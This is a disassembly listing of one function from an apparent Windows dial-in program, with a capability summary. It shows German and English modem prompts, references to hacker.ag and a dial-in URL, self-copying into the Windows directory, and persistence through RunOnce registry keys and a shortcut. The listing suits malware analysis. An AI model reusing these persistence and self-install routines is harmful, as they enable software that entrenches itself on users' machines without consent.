Function at 0x401624
Capabilities:
Check mutex on windows
Copy file
Create directory
Create process on windows
Delete file
Delete registry value
Get common file path
Get geographical location
Get installed programs
Move file
Persist via lnk shortcut
Persist via run registry key
Read .ini file
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
and byte [0x409244], 0
push ebx
push esi
push edi
mov esi, 0x40a194
push 0x408ce8
push esi
mov dword [0x409240], 1
call fcn.00405820
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDefaultLangID]
movzx eax, ax
cmp eax, 0x407
mov edi, 0x408648
je 0x401684
cmp eax, 0x807
je 0x401684
cmp eax, 0xc07
je 0x401684
cmp eax, 0x1007
je 0x401684
cmp eax, 0x1407
jne 0x401694
and dword [0x409240], 0
push edi
push esi
call fcn.00405820
pop ecx
pop ecx
push edi
push esi
call fcn.00404934
pop ecx
test eax, eax
pop ecx
je 0x40182f
push str.Das_Passwort_ist_ung
push 0x40c694
call fcn.00405820
push str.Die_Verbindung_wurde_unterbrochen._nM
push 0x40c594
call fcn.00405820
push str.Die_Verbindung_konnte_nicht_hergestellt_werden._nM
push 0x40c494
call fcn.00405820
push 0x408bf8
push 0x40c394
call fcn.00405820
push 0x408b8c
push 0x40bc94
call fcn.00405820
push str.Die_Deinstallation_wird_nach_dem_Neustart_beendet.
push 0x40bb94
call fcn.00405820
push str.Trennen
push 0x40b994
call fcn.00405820
push str.Login...
push 0x40b894
call fcn.00405820
add esp, 0x40
push str.Logout...
push 0x40b794
call fcn.00405820
push str.Fehler
push 0x40b694
call fcn.00405820
push str.Ja__weiter
push 0x40b494
call fcn.00405820
push str.Nein
push 0x40b394
call fcn.00405820
push 0x408b14
push 0x40b294
call fcn.00405820
push str.Abbrechen
push 0x40b594
call fcn.00405820
push 0x408b04
push 0x40b194
call fcn.00405820
push str.Land
push 0x40b094
call fcn.00405820
add esp, 0x40
push str.Passwort
push 0x40af94
call fcn.00405820
push 0x408ae8
push 0x40ae94
call fcn.00405820
push str.Amtskennziffer
push 0x40ad94
call fcn.00405820
push str.Wahlverfahren
push 0x40ac94
call fcn.00405820
push str.Puls
push 0x40ab94
call fcn.00405820
push 0x408abc
push 0x40aa94
call fcn.00405820
push str.Verbindung_mit
push 0x40a894
call fcn.00405820
push str.Verbindung_herstellen__
push 0x40a794
call fcn.00405820
add esp, 0x40
push str.Anzeigen
push 0x40a694
call fcn.00405820
push str.Fehler:_Es_wurde_kein_Modem_gefunden.
jmp 0x4019b4
push str.Invalid_password.
push 0x40c694
call fcn.00405820
push str.Connection_has_been_closed._Do_you_like_to_reconnect_
push 0x40c594
call fcn.00405820
push str.Cant_establish_connection._Retry_
push 0x40c494
call fcn.00405820
push str.Would_you_like_to_reconnect_to_your_previous_connection_
push 0x40c394
call fcn.00405820
push str.Do_you_really_want_the_deinstallation__nWarning:_The_service_doesnt_work_after_doing_this_
push 0x40bc94
call fcn.00405820
push str.Deinstallation_will_be_finished_after_restart.
push 0x40bb94
call fcn.00405820
push str.Disconnect
push 0x40b994
call fcn.00405820
push str.Login...
push 0x40b894
call fcn.00405820
add esp, 0x40
push str.Logout...
push 0x40b794
call fcn.00405820
push str.Error
push 0x40b694
call fcn.00405820
push 0x408910
push 0x40b494
call fcn.00405820
push 0x40890c
push 0x40b394
call fcn.00405820
push 0x408b14
push 0x40b294
call fcn.00405820
push 0x408904
push 0x40b594
call fcn.00405820
push str.Configuration
push 0x40b194
call fcn.00405820
push str.Country
push 0x40b094
call fcn.00405820
add esp, 0x40
push 0x4088e0
push 0x40af94
call fcn.00405820
push 0x408ae8
push 0x40ae94
call fcn.00405820
push 0x4088d4
push 0x40ad94
call fcn.00405820
push 0x4088c8
push 0x40ac94
call fcn.00405820
push 0x4088c0
push 0x40ab94
call fcn.00405820
push 0x4088b8
push 0x40aa94
call fcn.00405820
push str.establish_connection_to
push 0x40a894
call fcn.00405820
push 0x408884
push 0x40a794
call fcn.00405820
add esp, 0x40
push 0x40887c
push 0x40a694
call fcn.00405820
push str.Error:_Modem_not_found.
push 0x40a294
call fcn.00405820
add esp, 0x10
mov esi, 0x100
lea eax, [ebp - 0x114]
push esi
push eax
push dword [0x409190]
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x114]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetFullPathNameA]
push dword [ebp - 0xc]
lea eax, [ebp - 0x284]
push eax
call fcn.00405820
lea eax, [ebp - 0x284]
push 0x408860
push eax
call fcn.00405cd0
mov edi, 0x40c194
push str.1_hags_0_0_
push edi
mov dword [ebp - 0x14], eax
call fcn.00405820
mov eax, dword [ebp - 0x14]
add esp, 0x18
test eax, eax
mov ebx, 0x408850
je 0x401ab1
inc eax
push eax
push edi
call fcn.00405820
push 0x40884c
push edi
call fcn.00405cd0
add esp, 0x10
test eax, eax
je 0x401a5c
push 0x40c794
push eax
call fcn.00405820
pop ecx
pop ecx
push dword [ebp - 0xc]
lea eax, [ebp - 0x284]
push eax
call fcn.00405820
lea eax, [ebp - 0x114]
push 0x408848
push eax
call fcn.00405820
lea eax, [ebp - 0x114]
push edi
push eax
call fcn.00405830
lea eax, [ebp - 0x114]
push str..exe
push eax
call fcn.00405830
add esp, 0x20
lea eax, [ebp - 0x114]
push str.coder.ini
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
push esi
lea eax, [ebp - 0x114]
push dword [ebp + 8]
push eax
call fcn.00405bd0
lea eax, [ebp - 0x114]
push 0x408830
push eax
call fcn.00405cd0
add esp, 0x14
test eax, eax
je 0x401e6f
add eax, 3
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00405820
lea eax, [ebp - 0x114]
push 0x40882c
push eax
call fcn.00405cd0
add esp, 0x10
test eax, eax
je 0x401b12
push 0x40c794
push eax
call fcn.00405820
pop ecx
pop ecx
lea eax, [ebp - 0x114]
mov edi, 0x40c294
push eax
push edi
call fcn.00405820
lea eax, [ebp - 0x114]
push 0x408848
push eax
call fcn.00405820
lea eax, [ebp - 0x114]
push edi
push eax
call fcn.00405830
lea eax, [ebp - 0x114]
push str..exe
push eax
call fcn.00405830
add esp, 0x20
lea eax, [ebp - 0x114]
push str.coder.ini
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
push esi
lea eax, [ebp - 0x114]
push dword [ebp + 8]
push eax
call fcn.00405bd0
push esi
lea eax, [ebp - 0x114]
push dword [ebp + 8]
push eax
call fcn.00405bd0
lea eax, [ebp - 0x114]
push 0x408828
push eax
call fcn.00405cd0
add esp, 0x20
test eax, eax
je 0x401c36
add eax, 3
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00405820
lea eax, [ebp - 0x114]
push 0x40882c
push eax
call fcn.00405cd0
add esp, 0x10
test eax, eax
je 0x401bdb
push 0x40c794
push eax
call fcn.00405820
pop ecx
pop ecx
lea eax, [ebp - 0x114]
push eax
push 0x40c094
call fcn.00405820
lea eax, [ebp - 0x114]
push 0x408824
push eax
call fcn.00405820
lea eax, [ebp - 0x114]
push edi
push eax
call fcn.00405830
lea eax, [ebp - 0x114]
push str..exe
push eax
call fcn.00405830
add esp, 0x20
lea eax, [ebp - 0x114]
push str.coder.ini
push 0x40c094
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
push esi
lea eax, [ebp - 0x114]
push dword [ebp + 8]
push eax
call fcn.00405bd0
lea eax, [ebp - 0x114]
push 0x408820
push eax
call fcn.00405cd0
add esp, 0x14
test eax, eax
je 0x401cf2
add eax, 3
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00405820
lea eax, [ebp - 0x114]
push 0x40882c
push eax
call fcn.00405cd0
add esp, 0x10
test eax, eax
je 0x401c97
push 0x40c794
push eax
call fcn.00405820
pop ecx
pop ecx
lea eax, [ebp - 0x114]
push eax
push 0x40bd94
call fcn.00405820
lea eax, [ebp - 0x114]
push 0x40881c
push eax
call fcn.00405820
lea eax, [ebp - 0x114]
push edi
push eax
call fcn.00405830
lea eax, [ebp - 0x114]
push str..exe
push eax
call fcn.00405830
add esp, 0x20
lea eax, [ebp - 0x114]
push str.coder.ini
push 0x40bd94
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
push esi
lea eax, [ebp - 0x114]
push dword [ebp + 8]
push eax
call fcn.00405bd0
lea eax, [ebp - 0x114]
push 0x408818
push eax
call fcn.00405cd0
add esp, 0x14
test eax, eax
je 0x401dae
add eax, 3
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00405820
lea eax, [ebp - 0x114]
push 0x40882c
push eax
call fcn.00405cd0
add esp, 0x10
test eax, eax
je 0x401d53
push 0x40c794
push eax
call fcn.00405820
pop ecx
pop ecx
lea eax, [ebp - 0x114]
push eax
push 0x40bf94
call fcn.00405820
lea eax, [ebp - 0x114]
push 0x408814
push eax
call fcn.00405820
lea eax, [ebp - 0x114]
push edi
push eax
call fcn.00405830
lea eax, [ebp - 0x114]
push str..exe
push eax
call fcn.00405830
add esp, 0x20
lea eax, [ebp - 0x114]
push str.coder.ini
push 0x40bf94
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
push esi
lea eax, [ebp - 0x114]
push dword [ebp + 8]
push eax
call fcn.00405bd0
lea eax, [ebp - 0x114]
push 0x408810
push eax
call fcn.00405cd0
add esp, 0x14
test eax, eax
je 0x402005
add eax, 3
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00405820
lea eax, [ebp - 0x114]
push 0x40882c
push eax
call fcn.00405cd0
add esp, 0x10
test eax, eax
je 0x401e0f
push 0x40c794
push eax
call fcn.00405820
pop ecx
pop ecx
lea eax, [ebp - 0x114]
push eax
push 0x40be94
call fcn.00405820
lea eax, [ebp - 0x114]
push 0x40880c
push eax
call fcn.00405820
lea eax, [ebp - 0x114]
push edi
push eax
call fcn.00405830
lea eax, [ebp - 0x114]
push str..exe
push eax
call fcn.00405830
add esp, 0x20
lea eax, [ebp - 0x114]
push str.coder.ini
push 0x40be94
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
jmp 0x402005
lea eax, [ebp - 0x114]
push esi
push eax
push dword [0x409190]
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x114]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetFullPathNameA]
push dword [ebp - 0xc]
lea eax, [ebp - 0x284]
push eax
call fcn.00405820
lea eax, [ebp - 0x114]
push 0x408808
push eax
call fcn.00405820
lea eax, [ebp - 0x284]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00405830
add esp, 0x18
mov edi, 0x40c294
lea eax, [ebp - 0x114]
push str.coder.ini
push esi
push edi
push 0x40c194
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
lea eax, [ebp - 0x114]
push 0x408804
push eax
call fcn.00405820
lea eax, [ebp - 0x284]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00405830
add esp, 0x10
lea eax, [ebp - 0x114]
push str.coder.ini
push esi
push 0x40c094
push str.www.hacker.ag
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
lea eax, [ebp - 0x114]
push 0x4087f0
push eax
call fcn.00405820
lea eax, [ebp - 0x284]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00405830
add esp, 0x10
lea eax, [ebp - 0x114]
push str.coder.ini
push esi
push 0x40bd94
push str.HackerAG
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
lea eax, [ebp - 0x114]
push 0x4087e0
push eax
call fcn.00405820
lea eax, [ebp - 0x284]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00405830
add esp, 0x10
lea eax, [ebp - 0x114]
push str.coder.ini
push esi
push 0x40bf94
push str.http:__dialin.global_netcom.de
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
lea eax, [ebp - 0x114]
push 0x4087bc
push eax
call fcn.00405820
lea eax, [ebp - 0x284]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00405830
add esp, 0x10
lea eax, [ebp - 0x114]
push str.coder.ini
push esi
push 0x40be94
push str.http:__www.hacker.ag
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
mov ebx, 0x40be94
push ebx
call fcn.00405b50
inc eax
push eax
lea eax, [ebp - 0x114]
push ebx
push eax
call fcn.00405bd0
mov ebx, 0x40a594
push 0x40c094
push ebx
call fcn.00405820
push str.
push ebx
call fcn.00405830
push edi
push ebx
call fcn.00405830
mov ebx, 0x40a394
push str.Progress
push ebx
call fcn.00405820
push edi
push ebx
call fcn.00405830
push edi
push 0x40a494
call fcn.00405820
add esp, 0x40
mov ebx, 0x40a994
push 0x40bd94
push ebx
call fcn.00405820
push str..lnk
push ebx
call fcn.00405830
add esp, 0x10
lea eax, [ebp - 0x284]
push esi
push eax
push dword [0x409190]
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x284]
push eax
lea eax, [ebp - 0x284]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetFullPathNameA]
mov ebx, 0x40a094
push 0x408700
push ebx
call fcn.00405820
push edi
push ebx
call fcn.00405830
push str..exe
push ebx
call fcn.00405830
push ebx
push dword [ebp - 0xc]
call fcn.00405ac0
add esp, 0x20
test eax, eax
je 0x4022c9
lea eax, [ebp - 0x384]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea eax, [ebp - 0x384]
push str.Coder_
push eax
call fcn.00405830
pop ecx
xor edi, edi
pop ecx
lea eax, [ebp - 0x384]
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
lea eax, [ebp - 0x384]
push ebx
push eax
call fcn.00405830
mov esi, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop ecx
pop ecx
lea eax, [ebp - 0x384]
push eax
xor ebx, ebx
call esi
test eax, eax
jne 0x4021a0
cmp ebx, 0x14
jge 0x40215a
push 0xa
inc ebx
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x384]
push eax
call esi
test eax, eax
je 0x40213c
cmp ebx, 0x14
jne 0x4021a0
lea eax, [ebp - 0x384]
push eax
lea eax, [ebp - 0x484]
push eax
call fcn.00405820
lea eax, [ebp - 0x484]
push 0x4086f4
push eax
call fcn.00405830
add esp, 0x10
lea eax, [ebp - 0x484]
push eax
call esi
lea eax, [ebp - 0x484]
push eax
lea eax, [ebp - 0x384]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
lea eax, [ebp - 0x384]
push edi
push eax
lea eax, [ebp - 0x284]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov esi, 0x40c794
lea eax, [ebp - 0x384]
push esi
push 0x40a994
push eax
call fcn.004014b8
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push edi
push 0xf003f
push edi
push esi
push edi
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ebx, 0x40bd94
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push edi
push 0xf003f
push edi
push esi
push edi
push str.SoftwareMicrosoftWindowsCurrentVersionUninstall
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push edi
push 0xf003f
push edi
push esi
push edi
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push ebx
call fcn.00405b50
pop ecx
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
push ebx
push 1
push edi
push str.DisplayName
push dword [ebp - 8]
call esi
lea eax, [ebp - 0x384]
push eax
lea eax, [ebp - 0x284]
push eax
call fcn.00405820
lea eax, [ebp - 0x284]
push 0x40867c
push eax
call fcn.00405830
lea eax, [ebp - 0x284]
push eax
call fcn.00405b50
add esp, 0x14
push eax
lea eax, [ebp - 0x284]
push eax
push 1
push edi
push 0x40866c
push dword [ebp - 8]
call esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 5
push edi
lea eax, [ebp - 0x384]
push edi
push eax
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x4024b4
mov ax, word [0x408668]
xor esi, esi
mov word [ebp - 2], ax
lea eax, [ebp - 2]
push eax
mov dword [0x40a090], esi
push dword [ebp + 8]
call fcn.00405a24
and byte [ebp + 0xb], 0
mov ebx, eax
pop ecx
cmp ebx, esi
pop ecx
je 0x402466
push 0x408664
push ebx
call fcn.004059a0
pop ecx
test eax, eax
pop ecx
jne 0x4023fd
lea eax, [ebp - 2]
push eax
push esi
call fcn.00405a24
pop ecx
cmp eax, esi
pop ecx
je 0x40232b
push eax
push 0x409a8c
call fcn.00405820
pop ecx
pop ecx
jmp 0x40232f
mov byte [ebp + 0xb], 1
lea eax, [ebp - 2]
push eax
push esi
call fcn.00405a24
pop ecx
cmp eax, esi
pop ecx
je 0x40234e
push eax
push 0x40988c
call fcn.00405820
pop ecx
pop ecx
jmp 0x402352
mov byte [ebp + 0xb], 1
lea eax, [ebp - 2]
push eax
push esi
call fcn.00405a24
pop ecx
cmp eax, esi
pop ecx
je 0x402371
push eax
push 0x40978c
call fcn.00405820
pop ecx
pop ecx
jmp 0x402375
mov byte [ebp + 0xb], 1
lea eax, [ebp - 2]
push eax
push esi
call fcn.00405a24
pop ecx
cmp eax, esi
pop ecx
je 0x402394
push eax
push 0x409c8c
call fcn.00405820
pop ecx
pop ecx
jmp 0x402398
mov byte [ebp + 0xb], 1
lea eax, [ebp - 2]
push eax
push esi
call fcn.00405a24
pop ecx
cmp eax, esi
pop ecx
je 0x4023b7
push eax
push 0x409b8c
call fcn.00405820
pop ecx
pop ecx
jmp 0x4023bb
mov byte [ebp + 0xb], 1
cmp byte [ebp + 0xb], 0
jne 0x4023cb
call fcn.0040126e
jmp 0x4024b4
push 1
push 0x1f4
push 0x14
push 0x40a494
call fcn.00401225
add esp, 0x10
push dword [0x409284]
push 0x29a
push 0x8078
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
jmp 0x4024b4
push 0x408660
push ebx
call fcn.004059a0
pop ecx
test eax, eax
pop ecx
jne 0x402436
lea eax, [ebp - 2]
push eax
push esi
call fcn.00405a24
pop ecx
cmp eax, esi
pop ecx
je 0x4024b4
push eax
push 0x409288
call fcn.00405820
pop ecx
pop ecx
call fcn.00401286
jmp 0x4024b4
push 0x40865c
push ebx
call fcn.004059a0
pop ecx
test eax, eax
pop ecx
jne 0x40244e
or dword [0x40a090], 0xffffffff
push 0x408658
push ebx
call fcn.004059a0
pop ecx
test eax, eax
pop ecx
jne 0x402466
call fcn.00404aa6
jmp 0x4024b4
push edi
push 1
push esi
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x4024bb
push 1
push 0xa
push 0xa
push 0x40a594
call fcn.00401225
mov edi, eax
add esp, 0x10
cmp edi, esi
je 0x4024bb
push 5
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
push edi
call dword [sym.imp.USER32.dll_BringWindowToTop]
push edi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push edi
call dword [sym.imp.USER32.dll_SetActiveWindow]
xor eax, eax
jmp 0x402585
push 0x40c794
push 0x22
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push 0xe
call dword [sym.imp.GDI32.dll_CreateFontA]
lea ecx, [ebp - 0x184]
mov dword [0x40921c], eax
call fcn.00404ce4
mov edi, dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
lea eax, [ebp - 0x184]
push eax
call edi
mov ecx, dword [0x409210]
push eax
call fcn.00404dee
push esi
push esi
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x12c], esi
mov dword [ebp - 0x118], esi
mov dword [ebp - 0x130], 0x407210
call fcn.00404f2c
push esi
push esi
lea ecx, [ebp - 0x14c]
mov dword [ebp - 0x148], esi
mov dword [ebp - 0x134], esi
mov dword [ebp - 0x14c], 0x407204
call fcn.00404f5c
lea ecx, [ebp - 0x184]
call fcn.0040512e
mov esi, eax
call edi
mov ecx, dword [0x409210]
push eax
call fcn.00404e56
push dword [0x40921c]
call dword [sym.imp.GDI32.dll_DeleteObject]
lea ecx, [ebp - 0x174]
call fcn.00404f89
lea ecx, [ebp - 0x180]
call fcn.00404f89
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret